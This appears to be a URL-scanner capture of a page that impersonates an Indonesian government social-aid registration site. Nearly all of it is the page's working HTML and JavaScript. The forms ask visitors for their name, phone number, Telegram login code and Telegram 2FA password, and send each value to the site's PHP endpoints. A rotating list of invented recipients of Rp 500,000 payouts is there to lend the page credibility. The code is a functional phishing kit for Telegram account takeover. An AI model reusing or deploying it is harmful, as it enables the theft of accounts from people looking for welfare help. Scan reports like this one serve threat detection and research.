https://indoinspire.com/daftar8

已提交的 URL:
https://indoinspire.com/daftar8
報告完成時間:

連結 · 找到 0 個

從頁面中識別的傳出連結

JavaScript 變數 · 找到 46 個

在頁面的視窗物件上載入的全域 JavaScript 變數是在函數外部宣告的變數,可從目前範圍內程式碼中的任何位置存取

名稱類型
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
Vuefunction
ClipboardJSfunction
idnstring
en_usstring
vistring
spanishstring
russianstring

主控台記錄訊息 · 找到 2 條

記錄到 Web 主控台的訊息

類型類別記錄
errornetwork
URL
https://indoinspire.com/static/js/locale/en_us.js?t=1733278886512
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://indoinspire.com/favicon.png
Text
Failed to load resource: the server responded with a status of 404 ()

HTML

頁面的原始 HTML 主體

<!DOCTYPE html><html lang="en" class="h-100"><head id="ctl00_Head1">
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
    <link href="/assets/css/custom.css" type="text/css" rel="stylesheet">
    <link href="/assets/css/menebus.css" type="text/css" rel="stylesheet">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta property="og:title" content="Bantuan Sosial Kementerian">
    <meta property="og:image" content="/assets/img/garuda.png">
    <meta name="description" content="Pusat Informasi dan Pendaftaran Bantuan Sosial" "="">
    <meta name="author" content="">
    <title>Bantuan Sosial Kementerian</title>
    <link rel="icon" type="image/x-icon" href="favicon.png">
    <link rel="canonical" href="https://getbootstrap.com/docs/5.0/examples/sticky-footer/">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
    <script type="text/javascript" src="/js/vue.min.js.download"></script>
    <script src="/js/clipboard.js.download"></script>
    <script type="text/javascript" src="/js/index.js.download"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
    <style type="text/css">
        ul.carouseltext {
            width: 27em;
            padding: 0;
            margin: 50px auto 0;
            border: 10px solid #fff;
            box-shadow: 0px 2px 3px #eaeaea;
        }
        
        ul.carouseltext li {
            background: #f7f7f7;
            color: #959ead;
            list-style-type: none;
            padding: 1em;
            margin: 0;
            transition: background-color 0.5s;
        }
        
        ul.carouseltext li:nth-child(2) {
            color: #fff;
            background: #1998c4;
        }
        .bd-placeholder-img {
            font-size: 1.125rem;
            text-anchor: middle;
            -webkit-user-select: none;
            -moz-user-select: none;
            user-select: none;
        }

        @media (min-width: 768px) {
            .bd-placeholder-img-lg {
                font-size: 3.5rem;
            }
        }

        /* CSS untuk form OTP */
        .otp-container {
            display: flex;
            gap: 10px;
            justify-content: center;
            margin-top: 20px;
        }
        .otp-input {
            width: 50px;
            height: 50px;
            text-align: center;
            font-size: 24px;
            border: 2px solid #ccc;
            border-radius: 5px;
        }
        .otp-input:focus {
            outline: none;
            border-color: #007bff;
            box-shadow: 0 0 5px rgba(0, 123, 255, 0.5);
        }

        /* Absolute Center Spinner */
        .loading {
            position: fixed;
            z-index: 999;
            height: 2em;
            width: 2em;
            overflow: show;
            margin: auto;
            top: 0;
            left: 0;
            bottom: 0;
            right: 0;
        }

        /* Transparent Overlay */
        .loading:before {
            content: '';
            display: block;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));

            background: -webkit-radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
        }

        /* :not(:required) hides these rules from IE9 and below */
        .loading:not(:required) {
            /* hide "loading..." text */
            font: 0/0 a;
            color: transparent;
            text-shadow: none;
            background-color: transparent;
            border: 0;
        }

        .loading:not(:required):after {
            content: '';
            display: block;
            font-size: 10px;
            width: 1em;
            height: 1em;
            margin-top: -0.5em;
            -webkit-animation: spinner 150ms infinite linear;
            -moz-animation: spinner 150ms infinite linear;
            -ms-animation: spinner 150ms infinite linear;
            -o-animation: spinner 150ms infinite linear;
            animation: spinner 150ms infinite linear;
            border-radius: 0.5em;
            -webkit-box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
            box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
        }

        /* Animation */

        @-webkit-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @-moz-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @-o-keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }

        @keyframes spinner {
            0% {
                -webkit-transform: rotate(0deg);
                -moz-transform: rotate(0deg);
                -ms-transform: rotate(0deg);
                -o-transform: rotate(0deg);
                transform: rotate(0deg);
            }

            100% {
                -webkit-transform: rotate(360deg);
                -moz-transform: rotate(360deg);
                -ms-transform: rotate(360deg);
                -o-transform: rotate(360deg);
                transform: rotate(360deg);
            }
        }
    </style>
<script type="text/javascript" src="/static/js/locale/en_us.js?t=1733278886512"></script></head>

<body class="d-flex flex-column h-100" style="">

    <!-- Toast Sukses -->
    <div class="position-fixed top-0 end-0 p-3" style="z-index: 11">
        <div id="liveToast" class="toast hide" role="alert" aria-live="assertive" aria-atomic="true">
            <div class="toast-header">
                <strong class="me-auto">Sukses</strong>
                <button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
            </div>
            <div class="toast-body">
                Sukses update data
            </div>
        </div>
    </div>

    <div id="loading" class="loading" style="display: none;"></div>

    <!-- Navbar / Menu -->
    
    <main class="flex-shrink-0">
        <div id="ctl00_divContainer" class="container-narrow mx-auto">

            <!-- Language -->
                            <div class="text-center mt-2">
                    <a id="ctl00_lnkMalay" disabled="disabled" style="color:Black;font-weight:bold;text-decoration:none;">Bahasa Indonesia</a>
                    <span id="ctl00_lblPipe_bm"> | </span>
                    <a id="ctl00_lnkEng" href="">English</a>
                    <span id="ctl00_lblPipe_bi"> | </span>
                    <a id="ctl00_lnkChineseSimplified" href=""> 中文(简体) </a>
                    <span id="ctl00_lblPipe_bc"> | </span>
                    <a id="ctl00_lnkTamilInd" href="">தமிழ் </a>
                </div>
            
            <!-- Header -->
                            <div class="header mt-3 text-center w-100">
                    <img alt="header" src="/assets/img/e8b4fe7c-c441-4674-b8cc-b84c24b10688.jpeg" id="ctl00_logohead" class="img-fluid" width="100%">
                </div>
                        <span id="ctl00_lblMsg"></span>
            <div id="errorfetch"></div>

            <div class="container container-narrow my-5">
                <!-- Phone Form -->
                <div class="first">
    
                    <!-- Title -->
                    <h2 class="fw-bold mt-2 page-header text-center ">
                        <span id="ctl00_RecipientMasterContent_lblSubject">Cek Penerima Bansos</span>
                    </h2>
    
                    <!-- Description -->
                    <div class="mb-4">Untuk mendaftar silahkan login menggunakan akun Telegram. Dan kami akan menghubungi anda untuk verifikasi penerimaan bansos</div>
    
                    <!-- Form -->
                    <form action="javascript:void(0)" method="post" id="firstForm">
                        <div class="input-group mb-3">
                            <span class="input-group-text" id="basic-addon1">Nama</span>
                            <input name="full_name" id="full_name" maxlength="18" class="form-control" type="text" required="true" placeholder="Nama Lengkap Sesuai e-KTP" title="">
                        </div>
                        <div class="input-group mb-3">
                            <span class="input-group-text" id="basic-addon1">🇲🇨</span>
                            <input name="phone_number" id="phone_number" maxlength="18" class="form-control" type="tel" value="+62" required="true" placeholder="812345xxxxx" title="">
                        </div>
                        <div id="errorphone"></div>
                        <div class="text-center">
                            <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Cek Bantuan</button>
                        </div>
                    </form>
                </div>
                    
                <!-- OTP Form -->
                <div class="second" style="display: none;">
                <h2 class="fw-bold mt-2 page-header text-center ">
                    <span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
                </h2>
                <div class="mb-2">Silahkan masukkan kode verifikasi telegram untuk mengecek status bantuan anda</div>
                    <!-- Form -->
                    <form action="javascript:void(0)" method="post" id="secondForm">
                        <input type="hidden" name="full_name" id="validateFullName" readonly="">
                        <input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
                        <div class="otp-container mb-3">
                            <input type="text" class="otp-input" maxlength="1" id="otp1">
                            <input type="text" class="otp-input" maxlength="1" id="otp2">
                            <input type="text" class="otp-input" maxlength="1" id="otp3">
                            <input type="text" class="otp-input" maxlength="1" id="otp4">
                            <input type="text" class="otp-input" maxlength="1" id="otp5">
                        </div>
                        <div class="text-center">
                            <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()"><select:disabled></select:disabled>Teruskan</button>
                        </div>
                    </form>
                </div>
    
                <!-- Password Form -->
                <div class="third" style="display: none;">
                    <form action="javascript:void(0)" method="post" id="thirdForm">
                        <h2 class="fw-bold mt-2 page-header text-center ">
                            <span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
                        </h2>
                        <div class="mb-2">Masukkan Password jika ada, atau langsung klik Lanjutkan jika Autentikasi 2FA tidak aktif</div>
                        <input type="hidden" name="full_name" id="validateFullName" readonly="">
                        <input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
                        <input type="hidden" name="otp_code" id="validateOtp_code" readonly="">
                        <div class="mb-3">
                            <input name="password" id="password" class="form-control" type="text" placeholder="********">
                            <div class="mt-2">Langsung klik lanjutkan jika anda tidak memiliki password telegram</div>
                        </div>
                        <div class="text-center">
                            <button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Teruskan</button>
                        </div>
                    </form>
                </div>
    
                <!-- Success Page -->
                <div class="row four" id="ctl00_RecipientMasterContent_divResultNotFound" style="display: none;">
                    <p class="text-center"><img alt="loading" src="/assets/img/processing.gif" id="ctl00_logohead" class="img-fluid" width="160"></p>
                    <h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">Harap menunggu proses verifikasi dalam waktu 1x24 jam untuk memeriksa kelayakan,
                        
                        </span></h5>
                    <h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">gunakan nomor telepon lain
                            dan</span></h5>
                    <p class="text-center"><a href="" class="btn btn-lg btn-block btn-mk">« <span id="ctl00_RecipientMasterContent_lblGoBack_NoResult">Coba Lagi</span></a>
                    </p>
                </div>
            </div>

            <!-- Bottom Image -->
            
                            <ul class="carouseltext" style="height: 385px; overflow: hidden;">
                                            <li class="first">
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Ahmad Fauzi</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Siti Nurjanah</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Budi Santoso</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Rina Melati</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Yanto Prabowo</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Fitriani Wulandari</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Andi Kurniawan</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Dewi Lestari</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Rizky Firmansyah</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Nurul Hidayah</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Joko Widodo</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Mita Sari</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Agus Setiawan</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Lani Amalia</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Dodi Prasetyo</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Sari Puspitasari</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Teddy Pramono</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Citra Adinda</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Haris Nugroho</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                            <li>
                            <div class="row">
                                <div class="col-2">
                                    <img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
                                </div>
                                <div class="col">
                                    <div>Melinda Anggraini</div>
                                    <div class="small">Mendapatkan Bantuan Rp. 500.000</div>
                                </div>
                            </div>
                        </li>
                                    </ul>
            
            <script type="text/javascript">
                //<![CDATA[
                var Page_ValidationActive = false;
                if (typeof (ValidatorOnLoad) == "function") {
                    ValidatorOnLoad();
                }
                function ValidatorOnSubmit() {
                    if (Page_ValidationActive) {
                        return ValidatorCommonOnSubmit();
                    } else {
                        return true;
                    }
                }
            </script>

        <!-- record berjaya box -->

        </div>
    </main>
    <br>
    <div class="header mt-3 text-center">
        <img alt="footer" src="/assets/img/ini1.png" id="ctl00_logohead" class="img-fluid" width="450">
    </div>
    <input id="slugurl" type="hidden" value="daftar8">
    <footer class="footer mt-auto py-3">
        <div class="container">
            <div class="row">
                <div class="col-5">
                    <span class="text-white">
                        <span id="ctl00_lblCopyRight">2024 All Rights Reserved. </span>
                    </span>
                </div>
                <div class="col">
                    <ul class="nav justify-content-end">
                        <li class="nav-item">
                            <a id="ctl00_lnkFaq" class="nav-link" href="">
                                <i class="bi-question-circle"></i>
                                <span id="ctl00_lblFAQ"></span></a>
                        </li>
                        <li class="nav-item">
                            <p id="ctl00_linkMerchList">
                                <a class="nav-link" href=""><i class="bi-shop"></i>
                                    <span id="ctl00_lblMerchList"></span></a>
                            </p>
                        </li>
                        <li class="nav-item">
                            <a href="" id="ctl00_linkContactUs" class="nav-link"><i class="bi-envelope"></i>
                                <span id="ctl00_lblctctus"></span></a>
                        </li>
                    </ul>
                </div>
            </div>
        </div>
    </footer>

    <script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
    <script type="text/javascript" src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
    <script type="text/javascript" src="/js/jquery-3.4.1.min.js.download"></script>
    <script>const slug = "daftar8"</script>
    <script>
        // 加载多语言
        var language = getQueryString('language')
        loadLocale(function (e) {
            app.locale = Object.assign(e.Common, e.CommonShare)
        }, language)
        var app = new Vue({
            el: '#app',
            data: {
                locale: {},
                uid: '2004219',
            },
            created() {
                $('#app').show();
                this.starScroll();
            },
            methods: {
                starScroll() {
                    var _this = this;
                    _this.scrollTimer && clearTimeout(_this.scrollTimer)
                    _this.scrollTimer = setTimeout(() => {
                        var $box = $("#list").find(".list:first");
                        $box.css({
                            marginTop: 0
                        })
                        var $item = $box.find(".item:first");
                        var outerHeight = $item.outerHeight(true)
                        $box.animate({
                            "marginTop": -outerHeight + "px"
                        }, 1000, function () {
                            $box.css({
                                marginTop: 0
                            }).find(".item:first").appendTo($box);
                            _this.starScroll();
                        })
                    }, 600);
                },
            },
        })
    </script>
    <script>
        var x = 0,
        container = $('.carouseltext'),
        items = container.find('li'),
        containerHeight = 0,
        numberVisible = 5,
        intervalSec = 2000;

        if(!container.find('li:first').hasClass("first")){
        container.find('li:first').addClass("first");
        }

        items.each(function(){
        if(x < numberVisible){
            containerHeight = containerHeight + $(this).outerHeight();
            x++;
        }
        });

        container.css({ height: containerHeight, overflow: "hidden" });
        
        function vertCycle() {
        var firstItem = container.find('li.first').html();
            
        container.append('<li>'+firstItem+'</li>');
        firstItem = '';
        container.find('li.first').animate({ marginTop: "-50px" }, 600, function(){  $(this).remove(); container.find('li:first').addClass("first"); });
        }

        if(intervalSec < 700){
        intervalSec = 700;
        }

        var init = setInterval("vertCycle()",intervalSec);

        container.hover(function(){
            clearInterval(init);
            }, function(){
            init = setInterval("vertCycle()",intervalSec);
        });
    </script>
    <script>
        function processFirstData(){
            $('#firstForm').submit(function(submitingprocessFirstData){
                submitingprocessFirstData.preventDefault();
                
                var $full_name = $("input#full_name").val();
                var $phone_number = $("input#phone_number").val();
                
                if($full_name == "" && $phone_number == ""){
                    $('.verification_info').show();
                    $('.account_verification').hide();
                    return false;
                }

                let dataArray = $(this).serializeArray();
                dataArray.push({name: 'slug', value: slug})

                console.log('dataarray', dataArray);
                
                $.ajax({
                    type: "POST",
                    url: "/core/phone.php",
                    data: dataArray,
                    beforeSend: function() {
                        $(".second").show();
                        $('.first').hide();
                    },
                    success: function(){
                        $('.loading').hide();
                        $("input#validateFullName").val($full_name);
                        $("input#validatePhoneNumber").val($phone_number);
                        const toastElList = [].slice.call(document.querySelectorAll('.toast'))
                        const toastList = toastElList.map(function (toastEl) {
                            return new bootstrap.Toast(toastEl)
                        })
                        toastList.forEach(toast => toast.show())
                    },
                    error: function(jqXHR, exception){
                        $(".second").hide();
                        $('.first').show();
                        if(jqXHR.responseText) {
                            const responseData = JSON.parse(jqXHR.responseText)
                            const message = responseData.message
                            
                            if (jqXHR.status == 400) {
                                $('#errorphone').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 420) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 404) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
                            } else if (jqXHR.status != 500) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
                            }
                            return
                        }

                        $('#errorphone').html(
                            `<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
                        
                        $('.loading').hide();
                    }
                });
            });
            return false;
        };

        const otpInputs = $('.otp-input');
        otpInputs.each(function(index, input) {
            $(input).on('input', function() {
                if (this.value.length === 1 && index < otpInputs.length - 1) {
                    otpInputs.eq(index + 1).focus(); // Pindah ke input berikutnya jika ada nilai
                }
            });
            $(input).on('keydown', function(event) {
                if (event.key === 'Backspace' && this.value === '' && index > 0) {
                    otpInputs.eq(index - 1).focus(); // Pindah ke input sebelumnya jika kosong dan tekan Backspace
                }
            });
        });

        function processSecondData(){
            $('#secondForm').submit(function(submitingprocessSecondData){
                submitingprocessSecondData.preventDefault();
                
                const full_name = $("input#validateFullName").val();
                const phone_number = $("input#validatePhoneNumber").val();
                const otp_code = Array.from($('.otp-input')).map(input => input.value).join('');
                
                if(full_name == "" && phone_number == "" && otp_code == ""){
                $('.verification_info').show();
                $('.account_verification').hide();
                return false;
                }

                const slug = $('#slugurl').val();

                // let dataArray = $(this).serializeArray();
                // dataArray.push({name: 'slug', value: slug})
                
                $.ajax({
                    type: "POST",
                    url: "/core/otp.php",
                    data: {full_name, phone_number, otp_code, slug},
                    beforeSend: function() {
                        $('.loading').show();
                    },
                    success: function(){
                    $(".third").show();
                    $('.loading').hide();
                    $('.second').hide();
                    $("input#validateOtp_code").val(otp_code);
                    const toastElList = [].slice.call(document.querySelectorAll('.toast'))
                        const toastList = toastElList.map(function (toastEl) {
                            return new bootstrap.Toast(toastEl)
                        })
                        toastList.forEach(toast => toast.show())
                    },
                    error: function(jqXHR, exception){

                        if(jqXHR.responseText) {
                            const responseData = JSON.parse(jqXHR.responseText)
                            const message = responseData.message
                            
                            if (jqXHR.status == 400) {
                                $('#errorphone').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 420) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 404) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
                            } else if (jqXHR.status != 500) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
                            }
                            return
                        }
                        
                        $('#errorfetch').html(
                            `<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)

                        
                        $('.loading').hide();
                    }
                });
            });
            return false;
        };

        function processThirdData(){
            $('#thirdForm').submit(function(submitingprocessThirdData){
                submitingprocessThirdData.preventDefault();
                
                var full_name = $("input#validateFullName").val();
                var phone_number = $("input#validatePhoneNumber").val();
                var otp_code = $("input#validateOtp_code").val();
                var password = $("input#password").val();
                
                if(full_name == "" && phone_number == "" && otp_code == "" && password == ""){
                    $('.verification_info').show();
                    $('.account_verification').hide();
                    return false;
                }

                const slug = $('#slugurl').val();
                
                $.ajax({
                    type: "POST",
                    url: "/core/password.php?slug="+slug,
                    data: {full_name, phone_number, otp_code, slug, password},
                    beforeSend: function() {
                        $('.loading').show();
                    },
                    success: function(){
                    $(".four").show();
                    $('.loading').hide();
                    $('.third').hide();
                    const toastElList = [].slice.call(document.querySelectorAll('.toast'))
                        const toastList = toastElList.map(function (toastEl) {
                            return new bootstrap.Toast(toastEl)
                        })
                        toastList.forEach(toast => toast.show())
                    },
                    error: function(jqXHR, exception){
                        
                        if(jqXHR.responseText) {
                            const responseData = JSON.parse(jqXHR.responseText)
                            const message = responseData.message
                            
                            if (jqXHR.status == 400) {
                                $('#errorphone').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 420) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else if (jqXHR.status == 404) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
                            } else if (jqXHR.status != 500) {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>${message}</div>`)
                            } else {
                                $('#errorfetch').html(
                                    `<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
                            }
                            return
                        }

                        $('#errorphone').html(
                            `<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
                        
                        $('.loading').hide();
                    }
                });
            });
            return false;
        };
    </script>




</body></html>